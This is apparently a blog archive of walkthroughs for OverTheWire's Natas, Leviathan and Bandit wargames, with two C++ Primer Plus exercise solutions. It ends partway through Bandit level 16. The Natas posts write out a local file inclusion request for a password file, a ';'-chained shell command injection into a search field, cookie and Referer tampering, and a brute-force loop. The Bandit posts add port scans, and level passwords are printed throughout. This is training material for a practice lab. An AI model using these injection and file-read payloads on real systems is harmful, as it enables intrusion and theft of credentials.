OverTheWire Natas Wargame Solutions 7-10

Let’s continue our progression through the Natas wargame server. The challenges ahead are slightly more difficult than the previous challenges which is why I chose to break where I did. Nevertheless, they are not impossible. Some entry level knowledge of PHP would go a long way here. Examine my solutions below:

Natas 6->7

Here we have an insecure PHP login form. Looking at the source, we can see that whatever we enter as the input secret is being compared to variable $_POST, within the PHP script. We also see the file “include/secret.inc is mentioned. We can tac that on to the end of our URL to see what it contains. Immediately, we will see it holds the secret variable “FOEIUWGHFEEUHOFUOIU”. Our script uses this variable to compare the input secret to, which means it is our password. Remember you need to change the URL to Natas7 to get access.

FOEIUWGHFEEUHOFUOIU

 

Natas 7->8

Now we are presented with a very nondescript web page containing two tabs, home and about. If we travel to the about page, and examine the source, we see a huge clue. It’s an HTML comment telling us that the password is held in /etc/natas_webpass/natas8. Awesome. But if you tac it on to the end of the URL like we have previously been doing it will not redirect you there. You need to tac it on the end of the”page=” variable.

http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

Natas 8->9

Moving along we come across another PHP login form. Viewing the source we something that should catch your interest, the variable: $encodedSecret = “3d3d516343746d4d6d6c315669563362”;. This is going to be our password, insecurely stored, but encoded nevertheless. It is encoded with the function “encodeSecret” shown below.

Natas 8
The script Base64 encodes the secret->reverses that->then calls bin2hex() on that. We can actually use this script, in reverse order to get our secret. Create the script in a .php file like so:

<!--?php echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362"))); ?-->

There are a couple of ways to run the script. If you are on some Linux flavor, and have PHP installed. You can run it inside your shell like this:

 php -f natas8.php

Or, if you have some web server like XAMPP or Apache/HTTPD installed, you can throw the script in /htdocs and simply navigate to the script. You will see the password as soon as you land on the page. It’s worth noting having a local web server is useful for many reasons.

oubWYf2kBq

Natas 9->10

Natas 9 presents us with a search form. Examining the source code, we see another PHP script.

Natas10

 

 

 

 

 

We are not concerned with the fact that the form searches a dictionary file called dictionary.txt. Rather, we are interested in the fact the search form executes commands on the server. So, how can we leverage this?

We see that the script is greping the dictionary file. A little known fact about executing commands in this fashion is that we can chain commands together by using the shell command separator ;. Thinking back to Natas 7, we learned that the passwords are stored in /etc/natas_webpass/respectiveLevel. Let’s construct a chained command using this knowledge:

grep -i ; cat /etc/natas_webpass/natas10 # dictionary.txt

We used an additional argument in our command chain, the # operator.  That is used to comment anything after that operator. Thus, restricting our search to only /etc/natas_webpass/natas10. Finally, we are presented with our password:

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
Advertisements

OvertheWire Natas Wargame Solutions 0-6

The Natas series of games presents us with some challenges you might encounter while auditing serverside web-security. For the most part, they are examples of what programmers and administrators should not do. I will break up the challenges into small groups since there are 27 of them and it would be a great deal of writing. Serverside web-security is relevant to us because it is something users encounter most often. Every time you browse the web and interact with web applications, you are conversing with these protection mechanisms. Let’s take a look at the solutions to the following Natas challenges:

Natas 0->1

This one is easy enough, the password is on the page it says. View source and we can see the password in an html comment:

<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->

Natas 1->2

The password for this one is found via the same method, except right-clicking has been blocked. It is blocked via JavaScript, so either disabling JavaScript in your browser or if you are like me and use a browser plugin like NoScript, you will be able to right-click anyway.

<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->

Natas 2->3

Finding the password for Natas 3 requires us to explore a little more. Viewing the source, we see a couple of things: our Natas 2 pass embedded in some JavaScript and a link to a pixel image. We are not interested in the image itself, but the directory it is in. We can append /files to the end of our url and see the directory is readable. If we navigate to the users.txt file, we will see the password for Natas 3:

 sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

Natas 3->4

Viewing the source of this problem we can see an HTML comment “No more information leaks!! Not even Google will find it this time”. We can take that to mean the robots.txt file that is meant to disallow web bots from viewing certain directories within websites, if they decide to follow the rules… Navigating to /robots.txt we can see that the directory /s3cr3t/ is disallowed. Luckily for us, it is readable when navigating to it. Within you will see the users.txt file with the password for Natas 4:

Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

Natas 4->5

Natas 4 presents us with a referral issue. It is blocking users being referred from anything other than http://natas5.natas.labs.overthewire.org/. For this we will use a Firefox browser plugin RefControl (You are using Firefox aren’t you?). Open up the RefControl options, add new site: http://natas4.natas.labs.overthewire.org/. Add a custom option with this in it: http://natas5.natas.labs.overthewire.org/. Press okay and refresh the page. We are magically presented with an access granted message and the password for Natas 5:

iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

Natas 5->6

Now we are presented with a nondescript message ” Access disallowed. You are not logged in”. What could this really mean? If you guessed it has something to do with cookies, you were right. For problems like this, I use the awesome Firefox extension Firebug . Firebug now comes with the extension Firecookie, which allows on-the-fly viewing and editing of cookies in your browser. Install Firebug, right-click the page, and click on the cookies tab. You will see a cookie named “loggedin” for the natas5 domain. We can see it’s value is set to “0”. Let’s edit that and set it’s value to true or “1”. Do that, refresh the page, and we can now see the message “Access granted. The password for natas6”

 aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

C++ Primer Plus Chapter 7 Exercise 8

c plus plus Exercise 8 has us re-writing a skeleton program to fill in the missing functions. A combination of structs, pointers, and functions will complete this exercise. Comments describing where and what additions have been made are embedded in the code. See my solution below:

8. This exercise provides practice in writing functions dealing with arrays and structures. The following is a program skeleton. Complete it by providing the described functions:


#include <iostream>

using namespace std;
const int SLEN = 30;
struct student {
char fullname[SLEN];
char hobby[SLEN];
int ooplevel;
};

int getinfo(student pa[], int n);
void display1(student st);
void display2(const student * ps);
void display3(const student pa[], int n);

int main(){
cout << "Enter class size: ";
int class_size;
cin >> class_size;
while (cin.get() != '\n')
continue;
student * ptr_stu = new student[class_size];
int entered = getinfo(ptr_stu, class_size);

for (int i = 0; i < entered; i++) {
display1(ptr_stu[i]);
display2(&ptr_stu[i]);
}
display3(ptr_stu, entered);
delete [] ptr_stu;
cout << "Done\n";

return 0;
}

// getinfo() has two arguments: a pointer to the first element of
// an array of student structures and an int representing the
// number of elements of the array. The function solicits and
// stores data about students. It terminates input upon filling
// the array or upon encountering a blank line for the student
// name. The function returns the actual number of array elements
// filled.
int getinfo(student pa[], int n)
{
int i;
for(i = 0; i < n; i++)
{
cout << "Student Number: " << (i+1) << "\n";
cout << "Student's Name: ";
cin.getline(pa[i].fullname, SLEN);

cout << "Enter students hobby: ";
cin.getline(pa[i].hobby, SLEN);

cout << "Enter students OOP level: ";
cin >> pa[i].ooplevel;
cin.get();
}
return i;
}

// display1() takes a student structure as an argument
// and displays its contents
void display1(student st)
{
cout << "\n=============Display 1================\n";
cout << "Student name: " << st.fullname << "\n";
cout << "Hobby: " <<  st.hobby << "\n";
cout << "OOP Level: " << st.ooplevel << "\n";
cout << "=============End Display 1==============\n";
}

// display2() takes the address of student structure as an
// argument and displays the structure's contents
void display2(const student * ps)
{
cout << "\n============Display 2================\n";
cout << "Students Name: " << ps->fullname << "\n";
cout << "Hobby: " << ps->hobby << "\n";
cout << "OOP Level" << ps->ooplevel << "\n";
cout << "==========End Display 2================\n";
}

// display3() takes the address of the first element of an array
// of student structures and the number of array elements as
// arguments and displays the contents of the structures
void display3(const student pa[], int n)
{
for(int i = 0; i < n; i++)
{
cout << "\n============Display 3================\n";
cout << "Student: " << (i+1) << "\n";
cout << "Fullname: " << pa[i].fullname << "\n";
cout << "OOP Level: " << pa[i].ooplevel << "\n";
cout << "=============End Display 3============\n";
}
}

C++ Primer Plus Chapter 7 Exercise 6

c plus plusExercise 6 of chapter 7 is not so bad because the first two functions are given to us in the text. However, you do need to do some thinking as to how to reverse an array. There are a few ways to do this. One would be to implement an XOR type algorithm. Another would be to use reverse() from the std library, and then you can do it the way I have done it which is work through the array by starting on the ends. The way I have done it is one of the most common ways to solve this problem and is good to know as it is sometimes used as a skill assessment on programming interviews. See source below.

Write a program that uses the following functions:
Fill_array() takes as arguments the name of an array of double values and an array
size. It prompts the user to enter double values to be entered in the array. It ceases taking
input when the array is full or when the user enters non-numeric input, and it
returns the actual number of entries.
Show_array() takes as arguments the name of an array of double values and an array
size and displays the contents of the array.
Reverse_array() takes as arguments the name of an array of double values and an
array size and reverses the order of the values stored in the array.
The program should use these functions to fill an array, show the array, reverse the array,
show the array, reverse all but the first and last elements of the array, and then show the
array.

#include <iostream>

using namespace std;

const int Max = 5;

int fill_array(double ar[], int limit);
 void show_array(const double ar[], int n);
 void reverse_array(double ar[], int n);

int main()
 {
 double properties[Max];
 int size = fill_array(properties, Max);
 cout << endl;
 show_array(properties, size);
 cout << endl;
 reverse_array(properties, size);
 show_array(properties, size);
 cout << endl;
 reverse_array(properties + 1, size -2);
 show_array(properties, size);
 return 0;
 }

int fill_array(double ar[], int limit)
 {
 double temp;
 int i;
 for(i = 0; i < limit; i++)
 {
 cout << "Enter value #" << (i + 1) << ": ";
 cin >> temp;
 if(!cin)
 {
 cin.clear();
 while(cin.get() != '\n')
 continue;
 cout << "Bad input; input process terminated" << endl;
 break;
 }
 else if(temp < 0)
 break;
 ar[i] = temp;
 }
 return i;
 }

void show_array(const double ar[], int n)
 {
 for (int i = 0; i < n; i++)
 {
 cout << "Property #" << (i + 1) << ": ";
 cout << ar[i] << endl;
 }
 }

void reverse_array(double ar[], int n)
 {
 double temp;
 for(int i = 0; i < n/2; i++)
 {
 temp = ar[i];
 ar[i] = ar[n - i - 1];
 ar[n - i - 1] = temp;
 }
 }

Note: for the sake of the solution. fill_array() could be stripped of the error handling code to make this easier to read.

OverTheWire Leviathan Wargame Solution 6

The final stage of Leviathan presents us with a problem that can be solved via some quick bash scripting. The binary in our home directory accepts a 4 digit combination as the password. Iterating through all the possible combination manually would take too much time. So we create a bash script to do this in a matter of seconds.

Leviathan6->7

leviathan6@melinda:~$ ls
leviathan6
leviathan6@melinda:~$ ./leviathan6
usage: ./leviathan6 <4 digit code>
leviathan6@melinda:~$ ./leviathan6 1111
Wrong

# Create a directory in /tmp to work in:
leviathan6@melinda:/$ mkdir /tmp/bashbrute
leviathan6@melinda:/$ cd /tmp/bashbrute/
leviathan6@melinda:/tmp/bashbrute$ nano brute.sh

#Remember to give your script execute privileges
leviathan6@melinda:/tmp/bashbrute$ chmod +x bashbrute.sh

Quick bash script I wrote that will brute force the binary, use this in brute.sh, or create your own…


#!/bin/bash

for i in {0000..9999}
do
~/leviathan6 $i
done

Run the binary and simply wait for it to iterate through all possible number combinations. Note that we could echo out the password when we find it. Here the script will simply input the pass to the binary and pop us into leviathan7’s shell when it finds a match.

#Go ahead and run the script...
leviathan6@melinda:/tmp/bashbrute$ ./bashbrute.sh

#Let it run, takes about 20 seconds...

#Verify we are in Leviathan7's shell:
$ whoami
leviathan7

Alas, we have made it to the final level of Leviathan. Technically we are done. If you want, you can still cat leviathan7’s password and ssh over to the next level. There is a special congratulations message there for the winners.

leviathan7@melinda:~$ ls
CONGRATULATIONS
leviathan7@melinda:~$ cat CON*
Well Done, you seem to have used a *nix system before, now try something more serious.

I hope the Leviathan series has been informative and fun for you as it was for me. You should have picked up some Linux skills as well as a few security skills. The congratulations message encourages us to try something more serious. I think I will begin posting my Natas solutions. Natas is about basic serverside web-security and might be a good change of pace. Stay tuned for future OvertheWire solutions and programming snippets.

OverTheWire Leviathan Wargame Solution 0

The Leviathan server on OvertheWire is generally recommended after completing the Bandit sever. This server also deals with Linux commands and requires no programming experience. This server is a little harder because there is no explanation of what to do in the levels. While the server is listed as a 1/10 difficulty level, the novice will find it more difficult than bandit. Leviathan is not necessarily based on command usage, it’s more so about thought process. I would bump it to a 2/10 or so.

After we are SSH‘ed into Leviathan0’s shell, we should look around. Upon inspection of our home directory, we see a backup directory named to be hidden. Taking a closer look of what is contained in the backup easily reveals the password to get into level 1 and begin leviathan.

Leviathan 0->1:


leviathan0@melissa:~$ ls -la
total 24
drwxr-xr-x   3 root root       4096 2012-06-28 21:23 .
drwxr-xr-x 150 root root       4096 2013-01-03 16:39 ..
drwxr-x---   2 root leviathan0 4096 2012-06-28 21:23 .backup
-rw-r--r--   1 root root        220 2011-03-31 23:20 .bash_logout
-rw-r--r--   1 root root       3353 2011-03-31 23:20 .bashrc
-rw-r--r--   1 root root        675 2011-03-31 23:20 .profile
leviathan0@melissa:~$ cd .backup
leviathan0@melissa:~/.backup$ ls
bookmarks.html

#Let's look for the word "password" in this file:

leviathan0@melissa:~/.backup$ cat bookmarks.html | grep password

<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password
for leviathan1 is <strong>rioGegei8m</strong>" ADD_DATE="1155384634"LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1

Trying to read the large bookmarks file in our terminal shows way too many bookmarks to make sense of. Selectively search for data you might want. As we can see, the password is hidden within a bookmark description.

OverTheWire Bandit Wargame Solutions 1-24

Recently I’ve been obsessed with a wargaming site called overthewire.org. At the time of this writing I have made it through a few of the servers already, but I will post my solutions to the entry level server they offer, “Bandit”. This is also the recommended place to start if you are new to the site. You should already be familiar with basic Linux commands before attempting this wargame. However, the first page of Bandit explains what to do if you don’t know a command. You do need to use a bit of your own intuition to figure out how to make it from one level to the next.

I have been through a good handful of wargaming sites in the past and I find this one to be of good quality with an interesting variety of servers to play. For those who don’t know what a wargame is, a wargame in hacking is a security challenge in which one must exploit a vulnerability in a system or application or gain access to a computer system. Most of the servers here are about program exploitation on the Linux platform. We do not have to be on a Linux system to play these. But why not? If you have access to a Linux box, a real terminal is the way to go. Putty is the way to go on Windows.  But I digress, use my posted solutions to learn and understand the levels or compare with your own solutions. Enjoy!

Level 0:

We simply ssh to bandit0@bandit.labs.overthewire.org using the password bandit0 and we are in our shell.

Level 0 -> 1:

Once in, we can see that the readme file is in our home directory. Simply “cat” it and grab the password for level1.

bandit0@melissa:~$ ls
readme
bandit0@melissa:~$ cat readme
boJ9jbbUNNfktd78OOpsqOltutMc3MY1

Level 1-> 2:

We are told that the password is in a file called “-“. We need to delimit the dash to read it.

bandit1@melissa:~$ ls
-
bandit1@melissa:~$ cat ./-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9

Level 2 ->3:

This time we simply need to read a file with spaces in it’s name. Let’s surround the file name in quotes.

bandit2@melissa:~$ ls
spaces in this filename
bandit2@melissa:~$ cat "spaces in this filename"
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK

Level 3->4:

We are told the file we need is in a hidden file in the inhere directory.

bandit3@melissa:~$ ls
inhere
bandit3@melissa:~$ cd inhere
bandit3@melissa:~/inhere$ ls -la
total 12
drwxr-xr-x 2 root    root    4096 2012-05-10 23:51 .
drwxr-xr-x 3 root    root    4096 2012-05-10 23:51 ..
-rw-r----- 1 bandit4 bandit3   33 2012-05-10 23:51 .hidden
bandit3@melissa:~/inhere$ cat .hidden
pIwrPrtPN36QITSp3EQaw936yaFoFgAB

Level 4 ->5:

We are told the password is somewhere in the inhere directory and is the only human readable file in the directory. Let’s see what file types we have.

bandit4@melissa:~$ ls
inhere
bandit4@melissa:~$ cd inhere
bandit4@melissa:~/inhere$ ls -la
total 48
drwxr-xr-x 2 root    root    4096 2012-05-10 23:51 .
drwxr-xr-x 3 root    root    4096 2012-05-10 23:51 ..
-rw-r----- 1 bandit5 bandit4   33 2012-05-10 23:51 -file00
-rw-r----- 1 bandit5 bandit4   33 2012-05-10 23:51 -file01
-rw-r----- 1 bandit5 bandit4   33 2012-05-10 23:51 -file02
-rw-r----- 1 bandit5 bandit4   33 2012-05-10 23:51 -file03
-rw-r----- 1 bandit5 bandit4   33 2012-05-10 23:51 -file04
-rw-r----- 1 bandit5 bandit4   33 2012-05-10 23:51 -file05
-rw-r----- 1 bandit5 bandit4   33 2012-05-10 23:51 -file06
-rw-r----- 1 bandit5 bandit4   33 2012-05-10 23:51 -file07
-rw-r----- 1 bandit5 bandit4   33 2012-05-10 23:51 -file08
-rw-r----- 1 bandit5 bandit4   33 2012-05-10 23:51 -file09
bandit4@melissa:~/inhere$ file ./-*
./-file00: data
./-file01: data
./-file02: data
./-file03: data
./-file04: data
./-file05: data
./-file06: data
./-file07: ASCII text
./-file08: data
./-file09: data
bandit4@melissa:~/inhere$ cat ./-file07
koReBOKuIDDepwhWk7jZC0RTdopnAYKh

Level 5-> 6:
This is similar to the previous, except we have some more file attributes to look for. As well as more files to look through.

bandit5@melissa:~$ ls
inhere
bandit5@melissa:~$ cd inhere
bandit5@melissa:~/inhere$ ls -la
total 88
drwxr-x--- 22 root bandit5 4096 2012-05-10 23:51 .
drwxr-xr-x  3 root root    4096 2012-05-10 23:51 ..
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere00
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere01
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere02
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere03
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere04
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere05
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere06
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere07
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere08
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere09
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere10
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere11
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere12
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere13
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere14
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere15
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere16
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere17
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere18
drwxr-x---  2 root bandit5 4096 2012-05-10 23:51 maybehere19
bandit5@melissa:~/inhere$ find ./ -size 1033c
./maybehere07/.file2
bandit5@melissa:~/inhere$ cat ./maybehere07/.file2
DXjZPULLxYr17uwoI01bNLQbtFemEgo7

Level 6->7:

The file can be anywhere on the server, but we are given it’s attributes. This is a job for find. The command attached to the end gets rid of garbage returns and allows viewing of our password file amongst several others with the same attributes.

bandit6@melissa:~$ find / -user bandit7 -group bandit6 -size 33c 2>/dev/null
/var/lib/dpkg/info/bandit7.password
bandit6@melissa:~$ cat /var/lib/dpkg/info/bandit7.password
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs

Level 7->8:

The password for the next level is stored in the file data.txt next to the word millionth. We can pipe cat to grep for this.

bandit7@melissa:~$ ls
data.txt
bandit7@melissa:~$ cat data.txt | grep millionth
millionth       cvX2JJa4CFALtqS87jk27qwqGhBM9plV

Level 8->9:

Here we need to find a unique line among many. We can pipe a few commands together to do this. Note the commands do need to be in this order.

bandit8@melissa:~$ ls
data.txt
bandit8@melissa:~$ cat data.txt | sort | uniq -u
UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

Level 9->10:

The password for the next level is stored in the file data.txt among of few lines of human-readable strings starting with ‘=’ characters.

bandit9@melissa:~$ ls
data.txt
bandit9@melissa:~$ strings data.txt | grep '='
========== the
R=ev2,
NF=!^
M5Q=
========== password
TuI@=
========== iss
c       =$
w=RO
eD=p
jR=JlB
G========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
:=*1p
KA=%

We can see our password string amongst our output.

Level 10->11:
The password for the next level is stored in the file data.txt, which contains base64 encoded data. We need to decode the file.

bandit10@melissa:~$ ls
data.txt
bandit10@melissa:~$ base64 -d data.txt
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR

Level 11->12:

The password is encoded using simple rot13 encryption. There are many options to solve this including using various scripting languages and simply using an online rot13 decoder. Let’s try a solution in our shell.

bandit11@melissa:~$ ls
data.txt
bandit11@melissa:~$ cat data.txt | tr a-zA-Z n-za-mN-ZA-M
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu

That command is given on the wikipedia page for rot13

Level 12->13:

The password for the next level is stored in the file data.txt, which is a hexdump of a file that has been repeatedly compressed. For this level it is necessary to create a directory under /tmp in which you can work using mkdir. We need to decompress and check the file over and over again until we get the right format.

bandit12@melissa:~$ ls
data.txt
bandit12@melissa:~$ file data.txt
data.txt: ASCII text
bandit12@melissa:~$ mkdir /tmp/stw
bandit12@melissa:~$ cd /tmp/stw
bandit12@melissa:/tmp/stw$ xxd -r ~/data.txt > data.txt
bandit12@melissa:/tmp/stw$ file data.txt
data.txt: gzip compressed data, was "data2.bin", from Unix, last modified: Thu May 10 23:52:05 2012, max compression

bandit12@melissa:/tmp/stw$ zcat data.txt > dataNew
bandit12@melissa:/tmp/stw$ ls
dataNew  data.txt
bandit12@melissa:/tmp/stw$ file dataNew
dataNew: bzip2 compressed data, block size = 900k
bandit12@melissa:/tmp/stw$ bzip2 -d dataNew
bzip2: Can't guess original name for dataNew -- using dataNew.out
bandit12@melissa:/tmp/stw$ ls
dataNew.out  data.txt
bandit12@melissa:/tmp/stw$ file dataNew.out
dataNew.out: gzip compressed data, was "data4.bin", from Unix, last modified: Thu May 10 23:52:05 2012, max compression

bandit12@melissa:/tmp/stw$ zcat dataNew.out > evenNewer
bandit12@melissa:/tmp/stw$ ls
dataNew.out  data.txt  evenNewer
bandit12@melissa:/tmp/stw$ file evenNewer
evenNewer: POSIX tar archive (GNU)
bandit12@melissa:/tmp/stw$ tar -xvf evenNewer
data5.bin
bandit12@melissa:/tmp/stw$ file data5.bin
data5.bin: POSIX tar archive (GNU)

bandit12@melissa:/tmp/stw$ tar -xvf data5.bin
data6.bin
bandit12@melissa:/tmp/stw$ file data6.bin
data6.bin: bzip2 compressed data, block size = 900k
bandit12@melissa:/tmp/stw$ bzip2 -d data6.bin
bzip2: Can't guess original name for data6.bin -- using data6.bin.out

bandit12@melissa:/tmp/stw$ ls
data5.bin  data6.bin.out  dataNew.out  data.txt  evenNewer
bandit12@melissa:/tmp/stw$ file data6.bin.out
data6.bin.out: POSIX tar archive (GNU)
bandit12@melissa:/tmp/stw$ tar -xvf data6.bin.out

data8.bin
bandit12@melissa:/tmp/stw$ file data8.bin
data8.bin: gzip compressed data, was "data9.bin", from Unix, last modified: Thu May 10 23:52:05 2012, max compression

bandit12@melissa:/tmp/stw$ zcat data8.bin > lost
bandit12@melissa:/tmp/stw$ ls
data5.bin  data6.bin.out  data8.bin  dataNew.out  data.txt  evenNewer  lost
bandit12@melissa:/tmp/stw$ file lost
lost: ASCII English text
bandit12@melissa:/tmp/stw$ cat lost
The password is <strong>8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL</strong>

At last, we have our password.

Level 13->14:

This one switches things up a little. The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level. We need to borrow an SSH key to move on.

bandit13@melissa:~$ ls
sshkey.private
bandit13@melissa:~$ ssh -i sshkey.private bandit14@localhost
Could not create directory '/home/bandit13/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
RSA key fingerprint is 9d:09:d9:46:84:df:f9:dd:cc:7c:dc:49:a0:95:b2:10.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit13/.ssh/known_hosts).
bandit14@melissa:~$ cat /etc/bandit_pass/bandit14
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e

And just like that, we are dumped into bandit14’s shell.

Level 14->15:

The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost. Here we have a lesson in telnet. Basically, we will use telnet to connect to localhost on port 30000 and enter the password while we are still in bandit14’s shell.

bandit14@melissa:~$ telnet localhost 30000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr

Connection closed by foreign host.

Level 15->16:

The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption. Now we are using SSL commands. Nothing to it but to do it.

bandit15@melissa:~$ openssl s_client -connect localhost:30001
CONNECTED(00000003)
depth=0 /CN=melissa.labs.overthewire.org
verify error:num=18:self signed certificate
verify return:1
depth=0 /CN=melissa.labs.overthewire.org
verify return:1
---
Certificate chain
0 s:/CN=melissa.labs.overthewire.org
i:/CN=melissa.labs.overthewire.org
---
Server certificate
-----BEGIN CERTIFICATE-----
MIICyjCCAbICCQDE6DxysXt56TANBgkqhkiG9w0BAQUFADAnMSUwIwYDVQQDExxt
ZWxpc3NhLmxhYnMub3ZlcnRoZXdpcmUub3JnMB4XDTEyMDUxMDIxMzYzOVoXDTIy
MDUwODIxMzYzOVowJzElMCMGA1UEAxMcbWVsaXNzYS5sYWJzLm92ZXJ0aGV3aXJl
Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL85VFz7tV/45RID
5x804dSKyvmZH62lOjAg0NhW7Kbc9L6mmq3EVd4As/kupXYs0d7hCiMjJri0X2e8
GTM+nysxZLTR1qa2j/KOzQ7FgQ4vp4R4JQZP6ofhNPvBybh6BwYE5hFzRARK9Y3x
+dr3ZefeAE7Ea1k6NzH7p6HAtpkG36SD6GbhLV9HFhwOCwBWGPnXPfXA/2XBdZzY
/h6FWrxZPqdALjy8dCeRlNPqG7dD8CIWK4dpBGudxfyXiki5YfwOirotEWjI1E/C
JK2/jWT7tYLIrVKzOF0dwDWYxNMRnwn5+S2F2/AERSRBlwrtMb6jJf+g2pU27eAe
3xvtJs8CAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAtDKEX9gWmEyKqkhPN1L+wjEi
M2HH/XMgDxHrqWgy0Xl9gznuvM0pkOEXUOKWkfKDQfskk8cbgqn0hEvaX7AKrNL4
Nbm1JD+hUSSFtW3sxmv+aHkdEz6H70oUp712wP2Hu3DF7paVSPC5yB1vqoNYmHX/
J9CwqptVj+dLaDeY+ayzEwOuaEcd+cpP4OTbMLy0SuKLONr1+NaA5IPaVE/XOmlE
wW7zNRcJ3kxnvsHrqF4ZeYPBLNmhDT3ZD4qso+JiL9lme5YbP7+dCQo5Oa1AT7Dz
UmKZhWQTLsnI6Eyl8NwLnxiSkIOUigN6WF8bnd1F9FVKfmjQDSjBJHGqTE4Trg==
-----END CERTIFICATE-----
subject=/CN=melissa.labs.overthewire.org
issuer=/CN=melissa.labs.overthewire.org
---
No client certificate CA names sent
---
SSL handshake has read 1436 bytes and written 229 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: zlib compression
Expansion: zlib compression
SSL-Session:
Protocol  : TLSv1
Cipher    : DHE-RSA-AES256-SHA
Session-ID: 5AED820CF694E077E4F590C9089FC77A050DC3A3BBCE7F383B811CBD4937DAC9
Session-ID-ctx:
Master-Key: 201FB305DD48B3D4746DA988FD88B0EF939A766A393DFED1D9184DA6BD41B28F4ABDF06AE23DA7B0DEFF0329C69499E8
Key-Arg   : None
TLS session ticket:
0000 - b4 b5 f0 bf 88 14 bc 85-59 9b e6 22 ea f3 7f a1   ........Y.."....
0010 - 61 8a 25 48 a4 08 cb 5c-f0 2d 8a 97 b1 78 c3 eb   a.%H...\.-...x..
0020 - 14 6b 41 99 71 5e 62 6b-bf 6a 17 18 82 cc 69 1a   .kA.q^bk.j....i.
0030 - d5 a3 fd 08 97 8c b8 3a-d7 52 7c 01 31 eb c8 be   .......:.R|.1...
0040 - 09 a0 fd 58 cc aa d9 98-51 53 71 98 7d 8f 92 78   ...X....QSq.}..x
0050 - 00 8c d3 1d b0 57 df 70-0a af 92 44 6c b8 5e 85   .....W.p...Dl.^.
0060 - 1f e1 87 fd c6 da db bd-35 da 89 a0 b9 da fe 37   ........5......7
0070 - 0f 5b 4e d9 96 16 3b 7e-6b fb 0f 42 51 67 5f d9   .[N...;~k..BQg_.
0080 - 11 9a 8d a3 95 2a 9b d1-f6 9b ce 2c 55 62 92 4b   .....*.....,Ub.K
0090 - a8 89 b1 9f 8a b8 f7 6b-b7 65 2d e4 7e 52 6b 6c   .......k.e-.~Rkl

Compression: 1 (zlib compression)
Start Time: 1363810708
Timeout   : 300 (sec)
Verify return code: 18 (self signed certificate)
---
BfMYroe26WYalil77FoDi9qh59eK5xNr
Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd

read:errno=0

After running our SSl command, we paste bandit15’s password into the prompt. We are then presented with bandit16’s password.

Level 16->17:

The password for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next password, the others will simply send back to you whatever you send to it.

Moving up with our network skills we are introduced to nmap. Let’s run some scans to find the listening server. Note netcat can also do basic port scans. Good to know because many systems have that by default and you may be in a situation where you cannot use nmap.

bandit16@melissa:~$ nmap -p 31000-32000 localhost

Starting Nmap 5.21 ( http://nmap.org ) at 2013-03-20 21:24 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0033s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
31046/tcp open  unknown
31518/tcp open  unknown
31691/tcp open  unknown
31790/tcp open  unknown
31960/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

#We can see we have 5 ports open. Nmap does have a script scan to verify SSL, but it does not seem to work on this server.
#Thus it's quicker to manually check each port. To speed this up, I will tell you I verified it on port 31790.

bandit16@melissa:~$ openssl s_client -connect localhost:31790
CONNECTED(00000003)
depth=0 /CN=melissa.labs.overthewire.org
verify error:num=18:self signed certificate
